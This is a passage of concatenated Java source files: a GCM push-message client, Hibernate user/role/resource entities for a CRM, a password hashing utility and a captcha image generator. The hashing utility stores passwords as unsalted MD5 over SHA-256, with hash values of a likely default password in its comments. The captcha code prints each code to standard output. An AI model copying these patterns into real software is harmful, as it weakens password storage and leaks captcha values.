setJsonField(jsonRequest, PARAM_TIME_TO_LIVE, message.getTimeToLive());
setJsonField(jsonRequest, PARAM_COLLAPSE_KEY, message.getCollapseKey());
setJsonField(jsonRequest, PARAM_RESTRICTED_PACKAGE_NAME, message.getRestrictedPackageName());
setJsonField(jsonRequest, PARAM_DELAY_WHILE_IDLE,
message.isDelayWhileIdle());
setJsonField(jsonRequest, PARAM_DRY_RUN, message.isDryRun());
jsonRequest.put(JSON_REGISTRATION_IDS, registrationIds);
Map<String, String> payload = message.getData();
if (!payload.isEmpty()) {
jsonRequest.put(JSON_PAYLOAD, payload);
}
String requestBody = JSONValue.toJSONString(jsonRequest);
logger.finest("JSON request: " + requestBody);
HttpURLConnection conn;
int status;
try {
conn = post(GCM_SEND_ENDPOINT, "application/json", requestBody);
status = conn.getResponseCode();
} catch (IOException e) {
logger.log(Level.FINE, "IOException posting to GCM", e);
return null;
}
String responseBody;
if (status != 200) {
try {
responseBody = getAndClose(conn.getErrorStream());
logger.finest("JSON error response: " + responseBody);
} catch (IOException e) {
// ignore the exception since it will thrown an InvalidRequestException
// anyways
responseBody = "N/A";
logger.log(Level.FINE, "Exception reading response: ", e);
}
throw new InvalidRequestException(status, responseBody);
}
try {
responseBody = getAndClose(conn.getInputStream());
} catch(IOException e) {
logger.log(Level.WARNING, "IOException reading response", e);
return null;
}
logger.finest("JSON response: " + responseBody);
JSONParser parser = new JSONParser();
JSONObject jsonResponse;
try {
jsonResponse = (JSONObject) parser.parse(responseBody);
int success = getNumber(jsonResponse, JSON_SUCCESS).intValue();
int failure = getNumber(jsonResponse, JSON_FAILURE).intValue();
int canonicalIds = getNumber(jsonResponse, JSON_CANONICAL_IDS).intValue();
long multicastId = getNumber(jsonResponse, JSON_MULTICAST_ID).longValue();
MulticastResult.Builder builder = new MulticastResult.Builder(success,
failure, canonicalIds, multicastId);
@SuppressWarnings("unchecked")
List<Map<String, Object>> results =
(List<Map<String, Object>>) jsonResponse.get(JSON_RESULTS);
if (results != null) {
for (Map<String, Object> jsonResult : results) {
String messageId = (String) jsonResult.get(JSON_MESSAGE_ID);
String canonicalRegId =
(String) jsonResult.get(TOKEN_CANONICAL_REG_ID);
String error = (String) jsonResult.get(JSON_ERROR);
Result result = new Result.Builder()
.messageId(messageId)
.canonicalRegistrationId(canonicalRegId)
.errorCode(error)
.build();
builder.addResult(result);
}
}
MulticastResult multicastResult = builder.build();
return multicastResult;
} catch (ParseException e) {
throw newIoException(responseBody, e);
} catch (CustomParserException e) {
throw newIoException(responseBody, e);
}
}
private IOException newIoException(String responseBody, Exception e) {
// log exception, as IOException constructor that takes a message and cause
// is only available on Java 6
String msg = "Error parsing JSON response (" + responseBody + ")";
logger.log(Level.WARNING, msg, e);
return new IOException(msg + ":" + e);
}
private static void close(Closeable closeable) {
if (closeable != null) {
try {
closeable.close();
} catch (IOException e) {
// ignore error
logger.log(Level.FINEST, "IOException closing stream", e);
}
}
}
/**
* Sets a JSON field, but only if the value is not {@literal null}.
*/
private void setJsonField(Map<Object, Object> json, String field,
Object value) {
if (value != null) {
json.put(field, value);
}
}
private Number getNumber(Map<?, ?> json, String field) {
Object value = json.get(field);
if (value == null) {
throw new CustomParserException("Missing field: " + field);
}
if (!(value instanceof Number)) {
throw new CustomParserException("Field " + field +
" does not contain a number: " + value);
}
return (Number) value;
}
class CustomParserException extends RuntimeException {
CustomParserException(String message) {
super(message);
}
}
private String[] split(String line) throws IOException {
String[] split = line.split("=", 2);
if (split.length != 2) {
throw new IOException("Received invalid response line from GCM: " + line);
}
return split;
}
/**
* Make an HTTP post to a given URL.
*
* @return HTTP response.
*/
protected HttpURLConnection post(String url, String body)
throws IOException {
return post(url, "application/x-www-form-urlencoded;charset=UTF-8", body);
}
/**
* Makes an HTTP POST request to a given endpoint.
*
* <p>
* <strong>Note: </strong> the returned connected should not be disconnected,
* otherwise it would kill persistent connections made using Keep-Alive.
*
* @param url endpoint to post the request.
* @param contentType type of request.
* @param body body of the request.
*
* @return the underlying connection.
*
* @throws IOException propagated from underlying methods.
*/
protected HttpURLConnection post(String url, String contentType, String body)
throws IOException {
if (url == null || body == null) {
throw new IllegalArgumentException("arguments cannot be null");
}
if (!url.startsWith("https://")) {
logger.warning("URL does not use https: " + url);
}
logger.fine("Sending POST to " + url);
logger.finest("POST body: " + body);
byte[] bytes = body.getBytes();
HttpURLConnection conn = getConnection(url);
conn.setDoOutput(true);
conn.setUseCaches(false);
conn.setFixedLengthStreamingMode(bytes.length);
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", contentType);
conn.setRequestProperty("Authorization", "key=" + key);
OutputStream out = conn.getOutputStream();
try {
out.write(bytes);
} finally {
close(out);
}
return conn;
}
/**
* Creates a map with just one key-value pair.
*/
protected static final Map<String, String> newKeyValues(String key,
String value) {
Map<String, String> keyValues = new HashMap<String, String>(1);
keyValues.put(nonNull(key), nonNull(value));
return keyValues;
}
/**
* Creates a {@link StringBuilder} to be used as the body of an HTTP POST.
*
* @param name initial parameter for the POST.
* @param value initial value for that parameter.
* @return StringBuilder to be used an HTTP POST body.
*/
protected static StringBuilder newBody(String name, String value) {
return new StringBuilder(nonNull(name)).append('=').append(nonNull(value));
}
/**
* Adds a new parameter to the HTTP POST body.
*
* @param body HTTP POST body.
* @param name parameter's name.
* @param value parameter's value.
*/
protected static void addParameter(StringBuilder body, String name,
String value) {
nonNull(body).append('&')
.append(nonNull(name)).append('=').append(nonNull(value));
}
/**
* Gets an {@link HttpURLConnection} given an URL.
*/
protected HttpURLConnection getConnection(String url) throws IOException {
HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
return conn;
}
/**
* Convenience method to convert an InputStream to a String.
* <p>
* If the stream ends in a newline character, it will be stripped.
* <p>
* If the stream is {@literal null}, returns an empty string.
*/
protected static String getString(InputStream stream) throws IOException {
if (stream == null) {
return "";
}
BufferedReader reader =
new BufferedReader(new InputStreamReader(stream));
StringBuilder content = new StringBuilder();
String newLine;
do {
newLine = reader.readLine();
if (newLine != null) {
content.append(newLine).append('\n');
}
} while (newLine != null);
if (content.length() > 0) {
// strip last newline
content.setLength(content.length() - 1);
}
return content.toString();
}
private static String getAndClose(InputStream stream) throws IOException {
try {
return getString(stream);
} finally {
if (stream != null) {
close(stream);
}
}
}
static <T> T nonNull(T argument) {
if (argument == null) {
throw new IllegalArgumentException("argument cannot be null");
}
return argument;
}
void sleep(long millis) {
try {
Thread.sleep(millis);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.server;
import java.io.Serializable;
/**
* Result of a GCM message request that returned HTTP status code 200.
*
* <p>
* If the message is successfully created, the {@link #getMessageId()} returns
* the message id and {@link #getErrorCodeName()} returns {@literal null};
* otherwise, {@link #getMessageId()} returns {@literal null} and
* {@link #getErrorCodeName()} returns the code of the error.
*
* <p>
* There are cases when a request is accept and the message successfully
* created, but GCM has a canonical registration id for that device. In this
* case, the server should update the registration id to avoid rejected requests
* in the future.
*
* <p>
* In a nutshell, the workflow to handle a result is:
* <pre>
* - Call {@link #getMessageId()}:
* - {@literal null} means error, call {@link #getErrorCodeName()}
* - non-{@literal null} means the message was created:
* - Call {@link #getCanonicalRegistrationId()}
* - if it returns {@literal null}, do nothing.
* - otherwise, update the server datastore with the new id.
* </pre>
*/
public final class Result implements Serializable {
private final String messageId;
private final String canonicalRegistrationId;
private final String errorCode;
public static final class Builder {
// optional parameters
private String messageId;
private String canonicalRegistrationId;
private String errorCode;
public Builder canonicalRegistrationId(String value) {
canonicalRegistrationId = value;
return this;
}
public Builder messageId(String value) {
messageId = value;
return this;
}
public Builder errorCode(String value) {
errorCode = value;
return this;
}
public Result build() {
return new Result(this);
}
}
private Result(Builder builder) {
canonicalRegistrationId = builder.canonicalRegistrationId;
messageId = builder.messageId;
errorCode = builder.errorCode;
}
/**
* Gets the message id, if any.
*/
public String getMessageId() {
return messageId;
}
/**
* Gets the canonical registration id, if any.
*/
public String getCanonicalRegistrationId() {
return canonicalRegistrationId;
}
/**
* Gets the error code, if any.
*/
public String getErrorCodeName() {
return errorCode;
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder("[");
if (messageId != null) {
builder.append(" messageId=").append(messageId);
}
if (canonicalRegistrationId != null) {
builder.append(" canonicalRegistrationId=")
.append(canonicalRegistrationId);
}
if (errorCode != null) {
builder.append(" errorCode=").append(errorCode);
}
return builder.append(" ]").toString();
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.server;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
* Result of a GCM multicast message request .
*/
public final class MulticastResult implements Serializable {
private final int success;
private final int failure;
private final int canonicalIds;
private final long multicastId;
private final List<Result> results;
private final List<Long> retryMulticastIds;
public static final class Builder {
private final List<Result> results = new ArrayList<Result>();
// required parameters
private final int success;
private final int failure;
private final int canonicalIds;
private final long multicastId;
// optional parameters
private List<Long> retryMulticastIds;
public Builder(int success, int failure, int canonicalIds,
long multicastId) {
this.success = success;
this.failure = failure;
this.canonicalIds = canonicalIds;
this.multicastId = multicastId;
}
public Builder addResult(Result result) {
results.add(result);
return this;
}
public Builder retryMulticastIds(List<Long> retryMulticastIds) {
this.retryMulticastIds = retryMulticastIds;
return this;
}
public MulticastResult build() {
return new MulticastResult(this);
}
}
private MulticastResult(Builder builder) {
success = builder.success;
failure = builder.failure;
canonicalIds = builder.canonicalIds;
multicastId = builder.multicastId;
results = Collections.unmodifiableList(builder.results);
List<Long> tmpList = builder.retryMulticastIds;
if (tmpList == null) {
tmpList = Collections.emptyList();
}
retryMulticastIds = Collections.unmodifiableList(tmpList);
}
/**
* Gets the multicast id.
*/
public long getMulticastId() {
return multicastId;
}
/**
* Gets the number of successful messages.
*/
public int getSuccess() {
return success;
}
/**
* Gets the total number of messages sent, regardless of the status.
*/
public int getTotal() {
return success + failure;
}
/**
* Gets the number of failed messages.
*/
public int getFailure() {
return failure;
}
/**
* Gets the number of successful messages that also returned a canonical
* registration id.
*/
public int getCanonicalIds() {
return canonicalIds;
}
/**
* Gets the results of each individual message, which is immutable.
*/
public List<Result> getResults() {
return results;
}
/**
* Gets additional ids if more than one multicast message was sent.
*/
public List<Long> getRetryMulticastIds() {
return retryMulticastIds;
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder("MulticastResult(")
.append("multicast_id=").append(multicastId).append(",")
.append("total=").append(getTotal()).append(",")
.append("success=").append(success).append(",")
.append("failure=").append(failure).append(",")
.append("canonical_ids=").append(canonicalIds).append(",");
if (!results.isEmpty()) {
builder.append("results: " + results);
}
return builder.toString();
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.server;
/**
* Constants used on GCM service communication.
*/
public final class Constants {
/**
* Endpoint for sending messages.
*/
public static final String GCM_SEND_ENDPOINT =
"https://android.googleapis.com/gcm/send";
/**
* HTTP parameter for registration id.
*/
public static final String PARAM_REGISTRATION_ID = "registration_id";
/**
* HTTP parameter for collapse key.
*/
public static final String PARAM_COLLAPSE_KEY = "collapse_key";
/**
* HTTP parameter for delaying the message delivery if the device is idle.
*/
public static final String PARAM_DELAY_WHILE_IDLE = "delay_while_idle";
/**
* HTTP parameter for telling gcm to validate the message without actually sending it.
*/
public static final String PARAM_DRY_RUN = "dry_run";
/**
* HTTP parameter for package name that can be used to restrict message delivery by matching
* against the package name used to generate the registration id.
*/
public static final String PARAM_RESTRICTED_PACKAGE_NAME = "restricted_package_name";
/**
* Prefix to HTTP parameter used to pass key-values in the message payload.
*/
public static final String PARAM_PAYLOAD_PREFIX = "data.";
/**
* Prefix to HTTP parameter used to set the message time-to-live.
*/
public static final String PARAM_TIME_TO_LIVE = "time_to_live";
/**
* Too many messages sent by the sender. Retry after a while.
*/
public static final String ERROR_QUOTA_EXCEEDED = "QuotaExceeded";
/**
* Too many messages sent by the sender to a specific device.
* Retry after a while.
*/
public static final String ERROR_DEVICE_QUOTA_EXCEEDED =
"DeviceQuotaExceeded";
/**
* Missing registration_id.
* Sender should always add the registration_id to the request.
*/
public static final String ERROR_MISSING_REGISTRATION = "MissingRegistration";
/**
* Bad registration_id. Sender should remove this registration_id.
*/
public static final String ERROR_INVALID_REGISTRATION = "InvalidRegistration";
/**
* The sender_id contained in the registration_id does not match the
* sender_id used to register with the GCM servers.
*/
public static final String ERROR_MISMATCH_SENDER_ID = "MismatchSenderId";
/**
* The user has uninstalled the application or turned off notifications.
* Sender should stop sending messages to this device and delete the
* registration_id. The client needs to re-register with the GCM servers to
* receive notifications again.
*/
public static final String ERROR_NOT_REGISTERED = "NotRegistered";
/**
* The payload of the message is too big, see the limitations.
* Reduce the size of the message.
*/
public static final String ERROR_MESSAGE_TOO_BIG = "MessageTooBig";
/**
* Collapse key is required. Include collapse key in the request.
*/
public static final String ERROR_MISSING_COLLAPSE_KEY = "MissingCollapseKey";
/**
* A particular message could not be sent because the GCM servers were not
* available. Used only on JSON requests, as in plain text requests
* unavailability is indicated by a 503 response.
*/
public static final String ERROR_UNAVAILABLE = "Unavailable";
/**
* A particular message could not be sent because the GCM servers encountered
* an error. Used only on JSON requests, as in plain text requests internal
* errors are indicated by a 500 response.
*/
public static final String ERROR_INTERNAL_SERVER_ERROR =
"InternalServerError";
/**
* Time to Live value passed is less than zero or more than maximum.
*/
public static final String ERROR_INVALID_TTL= "InvalidTtl";
/**
* Token returned by GCM when a message was successfully sent.
*/
public static final String TOKEN_MESSAGE_ID = "id";
/**
* Token returned by GCM when the requested registration id has a canonical
* value.
*/
public static final String TOKEN_CANONICAL_REG_ID = "registration_id";
/**
* Token returned by GCM when there was an error sending a message.
*/
public static final String TOKEN_ERROR = "Error";
/**
* JSON-only field representing the registration ids.
*/
public static final String JSON_REGISTRATION_IDS = "registration_ids";
/**
* JSON-only field representing the payload data.
*/
public static final String JSON_PAYLOAD = "data";
/**
* JSON-only field representing the number of successful messages.
*/
public static final String JSON_SUCCESS = "success";
/**
* JSON-only field representing the number of failed messages.
*/
public static final String JSON_FAILURE = "failure";
/**
* JSON-only field representing the number of messages with a canonical
* registration id.
*/
public static final String JSON_CANONICAL_IDS = "canonical_ids";
/**
* JSON-only field representing the id of the multicast request.
*/
public static final String JSON_MULTICAST_ID = "multicast_id";
/**
* JSON-only field representing the result of each individual request.
*/
public static final String JSON_RESULTS = "results";
/**
* JSON-only field representing the error field of an individual request.
*/
public static final String JSON_ERROR = "error";
/**
* JSON-only field sent by GCM when a message was successfully sent.
*/
public static final String JSON_MESSAGE_ID = "message_id";
private Constants() {
throw new UnsupportedOperationException();
}
}
| Java |
package com.crm.entity;
import java.util.HashSet;
import java.util.Set;
import javax.persistence.CascadeType;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.ManyToMany;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
@Entity
@Table(name = "SYS_RES", schema = "CRM")
public class SysRes implements java.io.Serializable {
// Fields
private Integer resId;
private String resName;
private String resType;
private String resUrl;
private String resDesc;
private Integer enabled;
private Integer issys;
private Set<SysRole> sysRoles = new HashSet<SysRole>(0);
// Constructors
/** default constructor */
public SysRes() {
}
// Property accessors
@GenericGenerator(name = "generator", strategy = "increment")
@Id
@GeneratedValue(generator = "generator")
@Column(name = "RES_ID", unique = true, nullable = false, precision = 22, scale = 0)
public Integer getResId() {
return this.resId;
}
public void setResId(Integer resId) {
this.resId = resId;
}
@Column(name = "RES_NAME", length = 100)
public String getResName() {
return this.resName;
}
public void setResName(String resName) {
this.resName = resName;
}
@Column(name = "RES_TYPE", length = 100)
public String getResType() {
return this.resType;
}
public void setResType(String resType) {
this.resType = resType;
}
@Column(name = "RES_URL", length = 100)
public String getResUrl() {
return this.resUrl;
}
public void setResUrl(String resUrl) {
this.resUrl = resUrl;
}
@Column(name = "RES_DESC", length = 100)
public String getResDesc() {
return this.resDesc;
}
public void setResDesc(String resDesc) {
this.resDesc = resDesc;
}
@Column(name = "ENABLED", precision = 22, scale = 0)
public Integer getEnabled() {
return this.enabled;
}
public void setEnabled(Integer enabled) {
this.enabled = enabled;
}
@Column(name = "ISSYS", precision = 22, scale = 0)
public Integer getIssys() {
return this.issys;
}
public void setIssys(Integer issys) {
this.issys = issys;
}
@ManyToMany(cascade = CascadeType.ALL, fetch = FetchType.LAZY, mappedBy = "sysReses")
public Set<SysRole> getSysRoles() {
return sysRoles;
}
public void setSysRoles(Set<SysRole> sysRoles) {
this.sysRoles = sysRoles;
}
} | Java |
package com.crm.entity;
import java.util.HashSet;
import java.util.Set;
import javax.persistence.CascadeType;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.JoinTable;
import javax.persistence.ManyToMany;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
@Entity
@Table(name = "SYS_ROLE", schema = "CRM")
public class SysRole implements java.io.Serializable {
// Fields
private Integer roleId;
private String roleName;
private String roleDesc;
private Integer enabled;
private Integer issys;
private Set<SysUser> sysUsers = new HashSet<SysUser>(0);
private Set<SysRes> sysReses = new HashSet<SysRes>(0);
// Constructors
/** default constructor */
public SysRole() {
}
// Property accessors
@GenericGenerator(name = "generator", strategy = "increment")
@Id
@GeneratedValue(generator = "generator")
@Column(name = "ROLE_ID", unique = true, nullable = false, precision = 22, scale = 0)
public Integer getRoleId() {
return this.roleId;
}
public void setRoleId(Integer roleId) {
this.roleId = roleId;
}
@Column(name = "ROLE_NAME", length = 100)
public String getRoleName() {
return this.roleName;
}
public void setRoleName(String roleName) {
this.roleName = roleName;
}
@Column(name = "ROLE_DESC", length = 100)
public String getRoleDesc() {
return this.roleDesc;
}
public void setRoleDesc(String roleDesc) {
this.roleDesc = roleDesc;
}
@Column(name = "ENABLED", precision = 22, scale = 0)
public Integer getEnabled() {
return this.enabled;
}
public void setEnabled(Integer enabled) {
this.enabled = enabled;
}
@Column(name = "ISSYS", precision = 22, scale = 0)
public Integer getIssys() {
return this.issys;
}
public void setIssys(Integer issys) {
this.issys = issys;
}
@ManyToMany(cascade = CascadeType.ALL, fetch = FetchType.LAZY, mappedBy = "sysRoles")
public Set<SysUser> getSysUsers() {
return sysUsers;
}
public void setSysUsers(Set<SysUser> sysUsers) {
this.sysUsers = sysUsers;
}
@ManyToMany(cascade={CascadeType.PERSIST,CascadeType.PERSIST,CascadeType.MERGE}, fetch = FetchType.LAZY)
@JoinTable(name = "sys_role_resource",
joinColumns = { @JoinColumn(name = "role_id", updatable = false) },
inverseJoinColumns = { @JoinColumn(name = "resource_id", updatable = false) })
public Set<SysRes> getSysReses() {
return sysReses;
}
public void setSysReses(Set<SysRes> sysReses) {
this.sysReses = sysReses;
}
} | Java |
package com.crm.entity;
import java.util.HashSet;
import java.util.Set;
import javax.persistence.CascadeType;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.JoinTable;
import javax.persistence.ManyToMany;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
@Entity
@Table(name = "SYS_USER", schema = "CRM")
public class SysUser implements java.io.Serializable {
// Fields
private Integer userId;
private String userAccount;
private String userName;
private String userPassword;
private Integer age;
private Integer sex;
private String phone;
private String email;
private Integer enabled;
private Integer issys;
private String telPhone;
private Set<SysRole> sysRoles = new HashSet<SysRole>(0);
// Constructors
/** default constructor */
public SysUser() {
}
// Property accessors
@GenericGenerator(name = "generator", strategy = "increment")
@Id
@GeneratedValue(generator = "generator")
@Column(name = "USER_ID", unique = true, nullable = false, precision = 22, scale = 0)
public Integer getUserId() {
return this.userId;
}
public void setUserId(Integer userId) {
this.userId = userId;
}
@Column(name = "USER_ACCOUNT", length = 30)
public String getUserAccount() {
return this.userAccount;
}
public void setUserAccount(String userAccount) {
this.userAccount = userAccount;
}
@Column(name = "USER_NAME", length = 30)
public String getUserName() {
return this.userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
@Column(name = "USER_PASSWORD", length = 30)
public String getUserPassword() {
return this.userPassword;
}
public void setUserPassword(String userPassword) {
this.userPassword = userPassword;
}
@Column(name = "AGE", precision = 22, scale = 0)
public Integer getAge() {
return this.age;
}
public void setAge(Integer age) {
this.age = age;
}
@Column(name = "SEX", precision = 22, scale = 0)
public Integer getSex() {
return this.sex;
}
public void setSex(Integer sex) {
this.sex = sex;
}
@Column(name = "PHONE", length = 13)
public String getPhone() {
return this.phone;
}
public void setPhone(String phone) {
this.phone = phone;
}
@Column(name = "EMAIL", length = 30)
public String getEmail() {
return this.email;
}
public void setEmail(String email) {
this.email = email;
}
@Column(name = "ENABLED", precision = 22, scale = 0)
public Integer getEnabled() {
return this.enabled;
}
public void setEnabled(Integer enabled) {
this.enabled = enabled;
}
@Column(name = "ISSYS", precision = 22, scale = 0)
public Integer getIssys() {
return this.issys;
}
public void setIssys(Integer issys) {
this.issys = issys;
}
@Column(name = "TEL_PHONE", length = 11)
public String getTelPhone() {
return this.telPhone;
}
public void setTelPhone(String telPhone) {
this.telPhone = telPhone;
}
@ManyToMany(cascade={CascadeType.REFRESH,CascadeType.PERSIST,CascadeType.MERGE}, fetch = FetchType.LAZY)
@JoinTable(name = "user_role",
joinColumns = { @JoinColumn(name = "user_id", updatable = false) },
inverseJoinColumns = { @JoinColumn(name = "role_id", updatable = false) })
public Set<SysRole> getSysRoles() {
return sysRoles;
}
public void setSysRoles(Set<SysRole> sysRoles) {
this.sysRoles = sysRoles;
}
} | Java |
package com.crm.util;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha256Hash;
public class EncryptUtils {
public static final String encryptMD5(String source) {
if (source == null) {
source = "";
}
Sha256Hash hash = new Sha256Hash(source);
return new Md5Hash(hash).toString();
}
@SuppressWarnings("static-access")
public static void main(String[] args) {
EncryptUtils utils = new EncryptUtils();
// 21232f297a57a5a743894a0e4a801fc3
// 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
// http://localhost:8080/shiro/resource/css/images/bg_index.gif
System.out.println(utils.encryptMD5(""));
}
}
| Java |
package com.crm.util;
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Random;
import com.sun.image.codec.jpeg.ImageFormatException;
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
/**
* 验证码生成器类,可生成数字、大写、小写字母及三者混合类型的验证码。 支持自定义验证码字符数量; 支持自定义验证码图片的大小; 支持自定义需排除的特殊字符;
* 支持自定义干扰线的数量; 支持自定义验证码图文颜色
* @author John
* @date 2012-05-12
*/
public class ValidateCode {
/**
* 验证码类型为仅数字 0~9
*/
public static final int TYPE_NUM_ONLY = 0;
/**
* 验证码类型为仅字母,即大写、小写字母混合
*/
public static final int TYPE_LETTER_ONLY = 1;
/**
* 验证码类型为数字、大写字母、小写字母混合
*/
public static final int TYPE_ALL_MIXED = 2;
/**
* 验证码类型为数字、大写字母混合
*/
public static final int TYPE_NUM_UPPER = 3;
/**
* 验证码类型为数字、小写字母混合
*/
public static final int TYPE_NUM_LOWER = 4;
/**
* 验证码类型为仅大写字母
*/
public static final int TYPE_UPPER_ONLY = 5;
/**
* 验证码类型为仅小写字母
*/
public static final int TYPE_LOWER_ONLY = 6;
private ValidateCode() {
}
/**
* 生成验证码字符串
*
* @param type
* 验证码类型,参见本类的静态属性
* @param length
* 验证码长度,大于0的整数
* @param exChars
* 需排除的特殊字符(仅对数字、字母混合型验证码有效,无需排除则为null)
* @return 验证码字符串
*/
public static String generateTextCode(int type, int length, String exChars) {
if (length <= 0)
return "";
StringBuffer code = new StringBuffer();
int i = 0;
Random r = new Random();
switch (type) {
// 仅数字
case TYPE_NUM_ONLY:
while (i < length) {
int t = r.nextInt(10);
if (exChars == null || exChars.indexOf(t + "") < 0) {// 排除特殊字符
code.append(t);
i++;
}
}
break;
// 仅字母(即大写字母、小写字母混合)
case TYPE_LETTER_ONLY:
while (i < length) {
int t = r.nextInt(123);
if ((t >= 97 || (t >= 65 && t <= 90)) && (exChars == null || exChars.indexOf((char) t) < 0)) {
code.append((char) t);
i++;
}
}
break;
// 数字、大写字母、小写字母混合
case TYPE_ALL_MIXED:
while (i < length) {
int t = r.nextInt(123);
if ((t >= 97 || (t >= 65 && t <= 90) || (t >= 48 && t <= 57))
&& (exChars == null || exChars.indexOf((char) t) < 0)) {
code.append((char) t);
i++;
}
}
break;
// 数字、大写字母混合
case TYPE_NUM_UPPER:
while (i < length) {
int t = r.nextInt(91);
if ((t >= 65 || (t >= 48 && t <= 57)) && (exChars == null || exChars.indexOf((char) t) < 0)) {
code.append((char) t);
i++;
}
}
break;
// 数字、小写字母混合
case TYPE_NUM_LOWER:
while (i < length) {
int t = r.nextInt(123);
if ((t >= 97 || (t >= 48 && t <= 57)) && (exChars == null || exChars.indexOf((char) t) < 0)) {
code.append((char) t);
i++;
}
}
break;
// 仅大写字母
case TYPE_UPPER_ONLY:
while (i < length) {
int t = r.nextInt(91);
if ((t >= 65) && (exChars == null || exChars.indexOf((char) t) < 0)) {
code.append((char) t);
i++;
}
}
break;
// 仅小写字母
case TYPE_LOWER_ONLY:
while (i < length) {
int t = r.nextInt(123);
if ((t >= 97) && (exChars == null || exChars.indexOf((char) t) < 0)) {
code.append((char) t);
i++;
}
}
break;
}
System.out.println(code.toString()+"---------------------------------");
return code.toString();
}
/**
* 已有验证码,生成验证码图片
*
* @param textCode
* 文本验证码
* @param width
* 图片宽度
* @param height
* 图片高度
* @param interLine
* 图片中干扰线的条数
* @param randomLocation
* 每个字符的高低位置是否随机
* @param backColor
* 图片颜色,若为null,则采用随机颜色
* @param foreColor
* 字体颜色,若为null,则采用随机颜色
* @param lineColor
* 干扰线颜色,若为null,则采用随机颜色
* @return 图片缓存对象
*/
public static BufferedImage generateImageCode(String textCode, int width, int height, int interLine,
boolean randomLocation, Color backColor, Color foreColor, Color lineColor) {
BufferedImage bim = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
Graphics g = bim.getGraphics();
// 画背景图
g.setColor(backColor == null ? getRandomColor() : backColor);
g.fillRect(0, 0, width, height);
// 画干扰线
Random r = new Random();
if (interLine > 0) {
int x = 0, y = 0, x1 = width, y1 = 0;
for (int i = 0; i < interLine; i++) {
g.setColor(lineColor == null ? getRandomColor() : lineColor);
y = r.nextInt(height);
y1 = r.nextInt(height);
g.drawLine(x, y, x1, y1);
}
}
// 写验证码
// g.setColor(getRandomColor());
// g.setColor(isSimpleColor?Color.BLACK:Color.WHITE);
// 字体大小为图片高度的80%
int fsize = (int) (height * 0.8);
int fx = height - fsize;
int fy = fsize;
g.setFont(new Font("Default", Font.PLAIN, fsize));
// 写验证码字符
for (int i = 0; i < textCode.length(); i++) {
fy = randomLocation ? (int) ((Math.random() * 0.3 + 0.6) * height) : fy;// 每个字符高低是否随机
g.setColor(foreColor == null ? getRandomColor() : foreColor);
g.drawString(textCode.charAt(i) + "", fx, fy);
fx += fsize * 0.9;
}
g.dispose();
return bim;
}
/**
* 生成图片验证码
*
* @param type
* 验证码类型,参见本类的静态属性
* @param length
* 验证码字符长度,大于0的整数
* @param exChars
* 需排除的特殊字符
* @param width
* 图片宽度
* @param height
* 图片高度
* @param interLine
* 图片中干扰线的条数
* @param randomLocation
* 每个字符的高低位置是否随机
* @param backColor
* 图片颜色,若为null,则采用随机颜色
* @param foreColor
* 字体颜色,若为null,则采用随机颜色
* @param lineColor
* 干扰线颜色,若为null,则采用随机颜色
* @return 图片缓存对象
*/
public static BufferedImage generateImageCode(int type, int length, String exChars, int width, int height,
int interLine, boolean randomLocation, Color backColor, Color foreColor, Color lineColor) {
String textCode = generateTextCode(type, length, exChars);
BufferedImage bim = generateImageCode(textCode, width, height, interLine, randomLocation, backColor, foreColor,
lineColor);
return bim;
}
/**
* 产生随机颜色
*
* @return
*/
private static Color getRandomColor() {
Random r = new Random();
Color c = new Color(r.nextInt(255), r.nextInt(255), r.nextInt(255));
return c;
}
/**
* 将BufferedImage转换成ByteArrayInputStream格式
* @param image
* @return
*/
public static ByteArrayInputStream convertImageToStream(BufferedImage image) {
ByteArrayInputStream inputStream = null;
